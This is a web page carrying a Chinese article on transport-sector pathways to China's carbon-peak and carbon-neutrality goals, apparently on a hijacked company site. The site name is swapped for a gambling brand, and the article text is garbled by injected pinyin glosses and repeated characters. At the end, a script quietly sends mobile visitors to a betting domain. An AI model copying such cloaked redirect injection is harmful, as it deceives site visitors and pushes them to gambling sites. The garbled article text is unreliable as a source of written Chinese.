葡京娱乐平台

您(nin)好,河南葡京娱乐平台集团(tuan)有限公司欢迎您(nin)!

检测计量校准
您的当前位置: 首 页 >> 葡京娱乐平台 >> 行业资讯

联系我们

公司:河南葡京娱乐平台集团有限公司

电话:0371-60868177

          0371-60868165

邮箱:hnjyjtgs@163.com

网址:http://tecopinc.com 

地址:郑(zheng)州市郑(zheng)东(dong)新区(qu)象湖行政区(qu) 


碳达峰目标下 交通运输发展路径思考

发布日期:2021-07-12 作者:来源(yuan):中(zhong)国(guo)交通新(xin)闻网(wang) 点击:

交通运(yun)输(shu)(shu)是我国(guo)碳达(da)峰碳中和目标实现(xian)的重点领域。本文从当前交通运(yun)输(shu)(shu)碳排放现(xian)状出发(fa)(fa),对标2030年、2060年目标提出我国(guo)交通运(yun)输(shu)(shu)走(zou)“调结构、电气化、智能化、简约化”的发(fa)(fa)展路径及具(ju)体工作建议。

交通运输低碳发展(zhan)面临严峻挑战(zhan)

为(wei)了应对全(quan)球气(qi)候变化(hua)(hua),彰显(xian)大(da)国担当和责(ze)任,我(wo)(wo)国向(xiang)世(shi)界庄严(yan)宣(xuan)布:力争2030年前二氧化(hua)(hua)碳(tan)(tan)(tan)排(pai)放达(da)到峰值,努力争取2060年前实现碳(tan)(tan)(tan)中(zhong)和目标。交(jiao)(jiao)通(tong)运(yun)(yun)(yun)输领(ling)域的能(neng)源(yuan)需(xu)求(qiu)和二氧化(hua)(hua)碳(tan)(tan)(tan)排(pai)放快速增长,仅次(ci)于(yu)工业(ye)领(ling)域。石油是交(jiao)(jiao)通(tong)运(yun)(yun)(yun)输领(ling)域的主要能(neng)源(yuan),其消耗(hao)过程不仅会(hui)排(pai)放大(da)量(liang)二氧化(hua)(hua)碳(tan)(tan)(tan),还会(hui)造成(cheng)严(yan)重环(huan)境污染(ran)。伴随(sui)着(zhe)我(wo)(wo)国整体步入工业(ye)化(hua)(hua)后(hou)期和后(hou)工业(ye)化(hua)(hua)发(fa)展阶段,交(jiao)(jiao)通(tong)运(yun)(yun)(yun)输领(ling)域将成(cheng)为(wei)影响我(wo)(wo)国碳(tan)(tan)(tan)达(da)峰、改善空气(qi)质量(liang)和保障能(neng)源(yuan)安全(quan)的重点(dian)领(ling)域。因此,研究碳(tan)(tan)(tan)达(da)峰目标下交(jiao)(jiao)通(tong)运(yun)(yun)(yun)输发(fa)展路径战略(lve)具有(you)重要意义。

交(jiao)(jiao)(jiao)(jiao)通(tong)(tong)运(yun)(yun)(yun)输是(shi)二(er)氧(yang)化(hua)碳排(pai)放的重要(yao)领(ling)域(yu)(yu)。国际能(neng)源(yuan)机构数据显(xian)示,2018年(nian)我国交(jiao)(jiao)(jiao)(jiao)通(tong)(tong)运(yun)(yun)(yun)输领(ling)域(yu)(yu)能(neng)源(yuan)消(xiao)费(fei)量(liang)为(wei)4.67亿(yi)吨(dun)(dun)标准煤(mei),占能(neng)源(yuan)消(xiao)费(fei)总(zong)量(liang)的10.2%;交(jiao)(jiao)(jiao)(jiao)通(tong)(tong)运(yun)(yun)(yun)输领(ling)域(yu)(yu)二(er)氧(yang)化(hua)碳排(pai)放量(liang)约为(wei)10亿(yi)吨(dun)(dun),占碳排(pai)放总(zong)量(liang)约10.7%。2018年(nian),我国石(shi)油(you)(you)(you)表观消(xiao)费(fei)量(liang)达6.48亿(yi)吨(dun)(dun),一(yi)半以上用(yong)于(yu)交(jiao)(jiao)(jiao)(jiao)通(tong)(tong)运(yun)(yun)(yun)输燃料,柴油(you)(you)(you)、汽(qi)油(you)(you)(you)、燃料油(you)(you)(you)和(he)航空煤(mei)油(you)(you)(you)等油(you)(you)(you)品占交(jiao)(jiao)(jiao)(jiao)通(tong)(tong)运(yun)(yun)(yun)输用(yong)能(neng)的90%以上。从用(yong)能(neng)的主(zhu)要(yao)交(jiao)(jiao)(jiao)(jiao)通(tong)(tong)设备看,包括货(huo)车、公共汽(qi)车和(he)私家(jia)车等在内(nei)的车辆能(neng)耗量(liang)最大,占2018年(nian)交(jiao)(jiao)(jiao)(jiao)通(tong)(tong)运(yun)(yun)(yun)输领(ling)域(yu)(yu)总(zong)能(neng)耗的70%左右。随(sui)着(zhe)人民生活水平的不断提高,未来(lai)一(yi)段时间,交(jiao)(jiao)(jiao)(jiao)通(tong)(tong)运(yun)(yun)(yun)输领(ling)域(yu)(yu)的二(er)氧(yang)化(hua)碳排(pai)放仍将继续增(zeng)加(jia)。

货(huo)运(yun)(yun)是二氧化碳排(pai)放(fang)的(de)主(zhu)体(ti)(ti)。2018年(nian)货(huo)运(yun)(yun)总(zong)能(neng)耗为2.26亿吨(dun)标准煤(mei),约占(zhan)交(jiao)(jiao)通(tong)运(yun)(yun)输(shu)(shu)总(zong)能(neng)耗的(de)48%,其(qi)中公(gong)路(lu)(lu)、水(shui)(shui)路(lu)(lu)、铁路(lu)(lu)、民航和管道五种交(jiao)(jiao)通(tong)运(yun)(yun)输(shu)(shu)方式的(de)能(neng)耗占(zhan)比分别约65%、23%、3%、4%、5%。可以看出,尽管货(huo)运(yun)(yun)总(zong)能(neng)耗不足交(jiao)(jiao)通(tong)运(yun)(yun)输(shu)(shu)总(zong)能(neng)耗的(de)一(yi)半(ban),但其(qi)主(zhu)要运(yun)(yun)输(shu)(shu)方式是公(gong)路(lu)(lu),而公(gong)路(lu)(lu)的(de)百万吨(dun)公(gong)里(li)的(de)碳排(pai)放(fang)强度远高于水(shui)(shui)路(lu)(lu)、铁路(lu)(lu)和管道,仅次于民航。传统货(huo)运(yun)(yun)和新兴货(huo)运(yun)(yun)的(de)新变化和趋势使(shi)得货(huo)运(yun)(yun)仍然是交(jiao)(jiao)通(tong)运(yun)(yun)输(shu)(shu)领域二氧化碳排(pai)放(fang)主(zhu)体(ti)(ti)。

客(ke)运(yun)(yun)(yun)(yun)(yun)能(neng)耗(hao)(hao)结(jie)构面(mian)临深(shen)度(du)调(diao)整。2018年(nian),城(cheng)际(ji)客(ke)运(yun)(yun)(yun)(yun)(yun)和城(cheng)市客(ke)运(yun)(yun)(yun)(yun)(yun)能(neng)耗(hao)(hao)分别占交(jiao)通运(yun)(yun)(yun)(yun)(yun)输(shu)领域(yu)的(de)(de)(de)13%和39%,即(ji)客(ke)运(yun)(yun)(yun)(yun)(yun)能(neng)源(yuan)(yuan)消(xiao)耗(hao)(hao)总量略(lve)大(da)于货运(yun)(yun)(yun)(yun)(yun)。近(jin)年(nian)来(lai)(lai)客(ke)运(yun)(yun)(yun)(yun)(yun)结(jie)构特别是城(cheng)际(ji)客(ke)运(yun)(yun)(yun)(yun)(yun)结(jie)构调(diao)整加(jia)快(kuai)。铁(tie)路(lu)建(jian)设(she)尤其是高(gao)铁(tie)的(de)(de)(de)飞速(su)发(fa)(fa)展,大(da)大(da)提高(gao)电(dian)气化(hua)水平和城(cheng)际(ji)客(ke)运(yun)(yun)(yun)(yun)(yun)的(de)(de)(de)效率,降(jiang)低碳(tan)排(pai)放(fang)强度(du);民航客(ke)运(yun)(yun)(yun)(yun)(yun)将增加(jia)交(jiao)通运(yun)(yun)(yun)(yun)(yun)输(shu)能(neng)耗(hao)(hao)和碳(tan)排(pai)放(fang),但(dan)是潜(qian)力有限;水路(lu)客(ke)运(yun)(yun)(yun)(yun)(yun)便捷(jie)性较差,近(jin)几年(nian)增速(su)较为缓慢;公路(lu)一(yi)直(zhi)以来(lai)(lai)是客(ke)运(yun)(yun)(yun)(yun)(yun)的(de)(de)(de)主要(yao)方式,预期未(wei)来(lai)(lai)能(neng)源(yuan)(yuan)消(xiao)耗(hao)(hao)强度(du)和碳(tan)排(pai)放(fang)强度(du)下(xia)降(jiang)潜(qian)力巨大(da)。私(si)(si)人汽车(che)(che)保(bao)有量和出(chu)行比重呈逐年(nian)上升的(de)(de)(de)趋(qu)势,私(si)(si)人汽车(che)(che)的(de)(de)(de)能(neng)耗(hao)(hao)强度(du)和碳(tan)排(pai)放(fang)强度(du)在所有交(jiao)通运(yun)(yun)(yun)(yun)(yun)输(shu)方式中最高(gao),但(dan)能(neng)源(yuan)(yuan)替代势头明朗,未(wei)来(lai)(lai)电(dian)动汽车(che)(che)将迎来(lai)(lai)全面(mian)大(da)发(fa)(fa)展。综合(he)来(lai)(lai)看,客(ke)运(yun)(yun)(yun)(yun)(yun)电(dian)气化(hua)和低碳(tan)化(hua)成为发(fa)(fa)展趋(qu)势。

我国交(jiao)(jiao)(jiao)通(tong)运(yun)输领域取得(de)长足发(fa)展(zhan),但也面临(lin)着许多严峻问题。主(zhu)要(yao)是(shi):交(jiao)(jiao)(jiao)通(tong)运(yun)输是(shi)居(ju)民出(chu)(chu)行和物流(liu)服务(wu)的基础支撑和保(bao)障,碳(tan)(tan)排(pai)放(fang)(fang)(fang)总量控制难度很大(da)。大(da)宗商品(pin)长途运(yun)输公路(lu)占比较大(da),铁(tie)路(lu)货运(yun)和客运(yun)比例偏(pian)低,机(ji)场港口缺乏统筹导(dao)(dao)致(zhi)一些地区的基础设(she)施利用(yong)率不高(gao),小汽车客运(yun)出(chu)(chu)行比例过高(gao),各(ge)种运(yun)输方式衔接不畅导(dao)(dao)致(zhi)多式联运(yun)发(fa)展(zhan)滞后,从而(er)造成交(jiao)(jiao)(jiao)通(tong)运(yun)输结构不合理(li)、能源利用(yong)率低和二(er)氧化(hua)碳(tan)(tan)排(pai)放(fang)(fang)(fang)量大(da)。城市(shi)公共交(jiao)(jiao)(jiao)通(tong)服务(wu)水平不高(gao)导(dao)(dao)致(zhi)出(chu)(chu)行分担率偏(pian)低,人们对(dui)(dui)SUV等大(da)排(pai)量汽车的需求进一步提高(gao),对(dui)(dui)运(yun)输时效性、个性化(hua)和舒适度等要(yao)求越来越高(gao),从而(er)导(dao)(dao)致(zhi)单位运(yun)输周转量的二(er)氧化(hua)碳(tan)(tan)排(pai)放(fang)(fang)(fang)强度下降面临(lin)瓶(ping)颈(jing),低碳(tan)(tan)交(jiao)(jiao)(jiao)通(tong)发(fa)展(zhan)面临(lin)严重(zhong)挑战。

交(jiao)通(tong)运(yun)输(shu)碳达峰四条路径(jing)

2019年(nian)(nian),党中(zhong)央、国务院印发《交(jiao)通强(qiang)国建设纲要(yao)》,提出“两步走(zou)”战(zhan)略,即(ji)到2035年(nian)(nian),现代综合交(jiao)通体系初步形成,基本建成交(jiao)通强(qiang)国;到2050年(nian)(nian),全面(mian)建成人(ren)民满意、保障有力、世(shi)界前列(lie)的交(jiao)通强(qiang)国。

为推(tui)进能(neng)(neng)(neng)(neng)源(yuan)生(sheng)产和消费(fei)革(ge)命(ming)(ming)、保障国(guo)家能(neng)(neng)(neng)(neng)源(yuan)安全,2016年(nian),国(guo)家发(fa)展改(gai)革(ge)委(wei)、国(guo)家能(neng)(neng)(neng)(neng)源(yuan)局联合印发(fa)了《能(neng)(neng)(neng)(neng)源(yuan)生(sheng)产和消费(fei)革(ge)命(ming)(ming)战略(2016—2030)》,提出到(dao)2030年(nian),可再生(sheng)能(neng)(neng)(neng)(neng)源(yuan)、天然气(qi)和核(he)能(neng)(neng)(neng)(neng)利(li)用持续增(zeng)(zeng)长,高碳化(hua)石(shi)能(neng)(neng)(neng)(neng)源(yuan)利(li)用大幅减(jian)少,新增(zeng)(zeng)能(neng)(neng)(neng)(neng)源(yuan)需求主要依靠清洁能(neng)(neng)(neng)(neng)源(yuan)满(man)足,二氧化(hua)碳排放2030年(nian)左(zuo)右达到(dao)峰(feng)值并争(zheng)取(qu)尽早达峰(feng)。

因此,碳达(da)峰(feng)(feng)(feng)目标下交通(tong)运(yun)输发展战(zhan)略(lve)(lve)应以交通(tong)强国战(zhan)略(lve)(lve)和能源革(ge)命战(zhan)略(lve)(lve)为前提,探(tan)索交通(tong)运(yun)输领域何时达(da)峰(feng)(feng)(feng)、峰(feng)(feng)(feng)值目标和达(da)峰(feng)(feng)(feng)路径。

为实现交通强国战略目标(biao),在能源革命战略目标(biao)约束下,交通运输要(yao)瞄准新(xin)(xin)目标(biao)、把握新(xin)(xin)机遇、顺应新(xin)(xin)形势(shi),从(cong)以下四(si)条(tiao)路径(jing)着力发展:

路(lu)径一:调结(jie)构(gou)。一是优(you)化(hua)(hua)(hua)城镇(zhen)化(hua)(hua)(hua)发展(zhan)模式,实(shi)现交通运(yun)(yun)(yun)输(shu)(shu)需求源(yuan)头(tou)减量。优(you)化(hua)(hua)(hua)城市出(chu)行(xing)结(jie)构(gou),大力推动TOD发展(zhan)模式,即以(yi)公(gong)共交通为导向的(de)(de)发展(zhan)模式,提高(gao)非机(ji)动化(hua)(hua)(hua)出(chu)行(xing)、公(gong)共出(chu)行(xing)和(he)共享(xiang)出(chu)行(xing)比重。二(er)是优(you)化(hua)(hua)(hua)交通运(yun)(yun)(yun)输(shu)(shu)结(jie)构(gou),提高(gao)绿色(se)交通分担率,探索(suo)在(zai)碳达峰目(mu)标下适合我国(guo)国(guo)情(qing)的(de)(de)综(zong)合交通运(yun)(yun)(yun)输(shu)(shu)体(ti)系(xi)(xi)。优(you)化(hua)(hua)(hua)货(huo)运(yun)(yun)(yun)结(jie)构(gou),提高(gao)铁路(lu)运(yun)(yun)(yun)输(shu)(shu)和(he)铁水(shui)联运(yun)(yun)(yun)比重;升级水(shui)运(yun)(yun)(yun)系(xi)(xi)统,加(jia)快完(wan)善内河水(shui)运(yun)(yun)(yun)网络;建立以(yi)高(gao)铁和(he)铁路(lu)为骨架的(de)(de)城际客运(yun)(yun)(yun)运(yun)(yun)(yun)输(shu)(shu)体(ti)系(xi)(xi),减少民航与私家车出(chu)行(xing);优(you)化(hua)(hua)(hua)轨道交通和(he)城市公(gong)交系(xi)(xi)统,提高(gao)公(gong)共出(chu)行(xing)比重;打造(zao)旅客联程运(yun)(yun)(yun)输(shu)(shu)便捷顺畅、货(huo)物多式联运(yun)(yun)(yun)高(gao)效(xiao)的(de)(de)综(zong)合交通运(yun)(yun)(yun)输(shu)(shu)体(ti)系(xi)(xi)。

路(lu)径二:电气化。一(yi)是加(jia)(jia)(jia)快(kuai)低(di)碳(tan)替(ti)代(dai)。加(jia)(jia)(jia)快(kuai)普及(ji)电动汽(qi)(qi)车(che)(che)(che)(che)、燃(ran)料电池汽(qi)(qi)车(che)(che)(che)(che)和(he)氢能(neng)(neng)(neng)(neng)(neng)(neng)(neng)汽(qi)(qi)车(che)(che)(che)(che)等新能(neng)(neng)(neng)(neng)(neng)(neng)(neng)源(yuan)汽(qi)(qi)车(che)(che)(che)(che)燃(ran)料替(ti)代(dai),提(ti)(ti)高(gao)新能(neng)(neng)(neng)(neng)(neng)(neng)(neng)源(yuan)汽(qi)(qi)车(che)(che)(che)(che)的普及(ji)率和(he)出行分担率;增加(jia)(jia)(jia)节能(neng)(neng)(neng)(neng)(neng)(neng)(neng)型运(yun)(yun)(yun)输(shu)装备,大(da)大(da)降(jiang)(jiang)低(di)单位(wei)能(neng)(neng)(neng)(neng)(neng)(neng)(neng)耗;加(jia)(jia)(jia)快(kuai)提(ti)(ti)升(sheng)铁(tie)路(lu)运(yun)(yun)(yun)输(shu)效率,提(ti)(ti)高(gao)铁(tie)路(lu)出行分担率;提(ti)(ti)高(gao)天然(ran)气比重和(he)生(sheng)物燃(ran)料利用(yong)(yong)规模;改变交通(tong)(tong)运(yun)(yun)(yun)输(shu)能(neng)(neng)(neng)(neng)(neng)(neng)(neng)源(yuan)使用(yong)(yong)结构,降(jiang)(jiang)低(di)煤油、柴油在(zai)能(neng)(neng)(neng)(neng)(neng)(neng)(neng)源(yuan)消费(fei)总量中所占(zhan)比例,到一(yi)定时期(qi)可(ke)限制(zhi)汽(qi)(qi)柴油车(che)(che)(che)(che)生(sheng)产(chan),提(ti)(ti)高(gao)天然(ran)气、电力(li)在(zai)能(neng)(neng)(neng)(neng)(neng)(neng)(neng)源(yuan)消费(fei)总量中所占(zhan)比例。二是优化能(neng)(neng)(neng)(neng)(neng)(neng)(neng)源(yuan)结构,降(jiang)(jiang)低(di)交通(tong)(tong)运(yun)(yun)(yun)输(shu)用(yong)(yong)能(neng)(neng)(neng)(neng)(neng)(neng)(neng),减少碳(tan)排放。中东(dong)部(bu)地区(qu)是我国能(neng)(neng)(neng)(neng)(neng)(neng)(neng)源(yuan)的负荷中心,长期(qi)以来(lai)北煤南(nan)运(yun)(yun)(yun)已成为习惯。如果优先发(fa)展(zhan)中东(dong)部(bu)本地可(ke)再生(sheng)能(neng)(neng)(neng)(neng)(neng)(neng)(neng)源(yuan),辅(fu)以西电东(dong)送和(he)北煤南(nan)运(yun)(yun)(yun),可(ke)以很好解(jie)决中东(dong)部(bu)地区(qu)能(neng)(neng)(neng)(neng)(neng)(neng)(neng)源(yuan)问题,从而减少煤炭运(yun)(yun)(yun)输(shu),进而降(jiang)(jiang)低(di)能(neng)(neng)(neng)(neng)(neng)(neng)(neng)源(yuan)消费(fei)量和(he)碳(tan)排放量。三是能(neng)(neng)(neng)(neng)(neng)(neng)(neng)源(yuan)与交通(tong)(tong)协同(tong)创新、融(rong)合发(fa)展(zhan)。在(zai)交通(tong)(tong)侧,加(jia)(jia)(jia)快(kuai)交通(tong)(tong)运(yun)(yun)(yun)输(shu)再电气化进程,加(jia)(jia)(jia)大(da)可(ke)再生(sheng)能(neng)(neng)(neng)(neng)(neng)(neng)(neng)源(yuan)、清(qing)洁能(neng)(neng)(neng)(neng)(neng)(neng)(neng)源(yuan)在(zai)交通(tong)(tong)运(yun)(yun)(yun)输(shu)系统中应用(yong)(yong)力(li)度;在(zai)能(neng)(neng)(neng)(neng)(neng)(neng)(neng)源(yuan)侧,推进交通(tong)(tong)运(yun)(yun)(yun)输(shu)系统向产(chan)消者转(zhuan)型,实(shi)现部(bu)分能(neng)(neng)(neng)(neng)(neng)(neng)(neng)源(yuan)自(zi)主供给。

路(lu)径(jing)三:智(zhi)能(neng)化(hua)。充分利(li)用(yong)(yong)互联网、大(da)数据、人工智(zhi)能(neng)和区块链(lian)等(deng)新一代信息(xi)技术与交(jiao)(jiao)(jiao)(jiao)通(tong)运(yun)(yun)(yun)输行业(ye)深度融合,提高(gao)交(jiao)(jiao)(jiao)(jiao)通(tong)运(yun)(yun)(yun)输领域智(zhi)能(neng)化(hua)水平。一是利(li)用(yong)(yong)车(che)路(lu)协同(tong)技术提升生态驾(jia)驶,降(jiang)低机动车(che)能(neng)耗(hao)排(pai)(pai)放(fang)的潜力(li)(li)。集(ji)中(zhong)攻(gong)克关键技术、效(xiao)能(neng)评(ping)估、应用(yong)(yong)模式等(deng)关键核(he)心问(wen)题,完成机动车(che)运(yun)(yun)(yun)行过(guo)(guo)(guo)程中(zhong)能(neng)耗(hao)排(pai)(pai)放(fang)单车(che)最优向群体协同(tong)最优转(zhuan)型升级(ji),从而进一步降(jiang)低机动车(che)总体二(er)氧化(hua)碳排(pai)(pai)放(fang)。二(er)是大(da)力(li)(li)发展(zhan)(zhan)智(zhi)慧车(che)列交(jiao)(jiao)(jiao)(jiao)通(tong)运(yun)(yun)(yun)输系(xi)统(tong)(tong)。通(tong)过(guo)(guo)(guo)移动互联网实现(xian)预约出行,利(li)用(yong)(yong)云计算(suan)把(ba)同(tong)一站点(dian)上车(che)和同(tong)一站点(dian)下(xia)(xia)车(che)的乘客安(an)排(pai)(pai)在同(tong)一个(ge)交(jiao)(jiao)(jiao)(jiao)通(tong)工具(ju)里,实现(xian)“点(dian)对(dui)点(dian)”运(yun)(yun)(yun)送模式,有效(xiao)解(jie)决(jue)地铁和轻轨“站站停”所带来(lai)的平均车(che)速低的问(wen)题以及城市(shi)(shi)交(jiao)(jiao)(jiao)(jiao)通(tong)拥(yong)堵(du)所带来(lai)的能(neng)源消耗(hao)和二(er)氧化(hua)碳排(pai)(pai)放(fang)问(wen)题。三是大(da)力(li)(li)发展(zhan)(zhan)智(zhi)慧物(wu)(wu)(wu)流(liu)(liu),探索地下(xia)(xia)物(wu)(wu)(wu)流(liu)(liu)发展(zhan)(zhan)。智(zhi)慧物(wu)(wu)(wu)流(liu)(liu)可实现(xian)物(wu)(wu)(wu)流(liu)(liu)各环节精细化(hua)、动态化(hua)、可视化(hua)管理,提升物(wu)(wu)(wu)流(liu)(liu)运(yun)(yun)(yun)作(zuo)效(xiao)率。地下(xia)(xia)物(wu)(wu)(wu)流(liu)(liu)是通(tong)过(guo)(guo)(guo)地下(xia)(xia)管道(dao)、隧道(dao)等(deng)运(yun)(yun)(yun)输通(tong)路(lu),对(dui)货物(wu)(wu)(wu)实行运(yun)(yun)(yun)输及分拣配(pei)送的全新概念物(wu)(wu)(wu)流(liu)(liu)系(xi)统(tong)(tong)。智(zhi)慧物(wu)(wu)(wu)流(liu)(liu)和地下(xia)(xia)物(wu)(wu)(wu)流(liu)(liu)系(xi)统(tong)(tong)可有效(xiao)解(jie)决(jue)城市(shi)(shi)交(jiao)(jiao)(jiao)(jiao)通(tong)拥(yong)堵(du)、降(jiang)低二(er)氧化(hua)碳排(pai)(pai)放(fang),是城市(shi)(shi)交(jiao)(jiao)(jiao)(jiao)通(tong)可持续发展(zhan)(zhan)的必要选择。

路径四:简约化(hua)(hua)。交(jiao)通(tong)运(yun)输低(di)碳发展离不开广大民众的参(can)与(yu)。一(yi)是倡导简约适度和(he)绿(lv)色(se)低(di)碳的出行(xing)(xing)方式,强化(hua)(hua)公(gong)民环(huan)保意识,鼓(gu)励乘坐公(gong)共交(jiao)通(tong),倡导骑行(xing)(xing)、步行(xing)(xing)等(deng),形成绿(lv)色(se)低(di)碳、文明健康的出行(xing)(xing)方式和(he)消费模(mo)式。二(er)是加强私人购买汽车小(xiao)型化(hua)(hua)、轻型化(hua)(hua)、电动化(hua)(hua)引(yin)导,通(tong)过税(shui)收优惠方式,鼓(gu)励车辆小(xiao)型化(hua)(hua),对大排量和(he)奢(she)侈性车辆课以重(zhong)税(shui),营造良好的用车文化(hua)(hua)。

全(quan)面完善(shan)提升交通运输绿色治(zhi)理(li)能力水平

一是研究(jiu)出台(tai)交(jiao)(jiao)(jiao)通(tong)(tong)运输领域(yu)(yu)碳(tan)达(da)峰路径(jing)与(yu)规划方(fang)案。以《交(jiao)(jiao)(jiao)通(tong)(tong)强国建设纲要》和《能源生产(chan)和消费(fei)革命战(zhan)略(2016—2030)》为指(zhi)导,从(cong)国家(jia)层面出台(tai)《交(jiao)(jiao)(jiao)通(tong)(tong)领域(yu)(yu)二氧化碳(tan)达(da)峰路径(jing)规划方(fang)案》,提出交(jiao)(jiao)(jiao)通(tong)(tong)运输领域(yu)(yu)二氧化碳(tan)达(da)峰的原则、总体(ti)战(zhan)略目(mu)标和分(fen)阶段(duan)目(mu)标任务,细化碳(tan)达(da)峰行动的途径(jing)、时(shi)间表和路线图,提出具体(ti)保障措施(shi)。根(gen)据我(wo)国发(fa)展不均(jun)衡等实际情况,对不同区域(yu)(yu)实行分(fen)阶段(duan)达(da)峰差(cha)异化管控,统筹(chou)省、市、县交(jiao)(jiao)(jiao)通(tong)(tong)运输领域(yu)(yu)二氧化碳(tan)达(da)峰实施(shi)路径(jing),形成具体(ti)考核指(zhi)标纳入(ru)本地经济社会发(fa)展中。

二是完(wan)善(shan)交(jiao)通(tong)(tong)运(yun)输(shu)(shu)绿(lv)(lv)色(se)治(zhi)理体系。为适应绿(lv)(lv)色(se)交(jiao)通(tong)(tong)新(xin)形势发展,应直面推(tui)动交(jiao)通(tong)(tong)运(yun)输(shu)(shu)绿(lv)(lv)色(se)低碳发展的新(xin)技术、新(xin)业(ye)态涌现(xian)等的现(xian)实,充分研究、论证现(xian)有政策法规标准制度体系,修订完(wan)善(shan)交(jiao)通(tong)(tong)运(yun)输(shu)(shu)现(xian)行法律(lv)法规中与碳达峰目标下改(gai)革和创新(xin)发展不相(xiang)(xiang)适应、不被重视的条款,尽快制定(ding)交(jiao)通(tong)(tong)运(yun)输(shu)(shu)能(neng)源效率标准,健全相(xiang)(xiang)关交(jiao)通(tong)(tong)运(yun)输(shu)(shu)法律(lv)法规,全面完(wan)善(shan)提升交(jiao)通(tong)(tong)运(yun)输(shu)(shu)绿(lv)(lv)色(se)治(zhi)理能(neng)力水平。

三是强化(hua)绿色交(jiao)通试(shi)点示(shi)范(fan)建设(she)。针对传(chuan)统内(nei)燃机车,通过持续提升(sheng)(sheng)机动(dong)车燃油经(jing)济性标准,加(jia)快普(pu)及轻量化(hua)、小型化(hua)和动(dong)力总成升(sheng)(sheng)级优(you)化(hua)等先进成熟技(ji)术。围绕交(jiao)通装备智能(neng)化(hua)和绿色化(hua)开展(zhan)技(ji)术攻关,提高运输效率、降低碳排放。针对车路协同、智慧(hui)车列(lie)、智慧(hui)物流、地下物流、新(xin)能(neng)源(yuan)汽(qi)车与储能(neng)协同发展(zhan)等新(xin)模(mo)式(shi)和新(xin)业(ye)态,在全(quan)国范(fan)围内(nei)选择(ze)有(you)条件、有(you)基础(chu)、规(gui)模(mo)适当(dang)的(de)区域,加(jia)强试(shi)点示(shi)范(fan)建设(she),形成一批可复制、可推(tui)广的(de)模(mo)式(shi),为全(quan)国范(fan)围内(nei)推(tui)广奠定良好(hao)基础(chu)。

(作者:中国工程(cheng)院战略(lve)咨询中心:江媛 李喆 卢春(chun)房 杜(du)祥琬


本文网址:http://tecopinc.com/news/796.html

关键词:

最近浏览:

相关产品:

相关新闻:

在线(xian)客(ke)服
二维码

扫描二维码

分享 一键分享
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();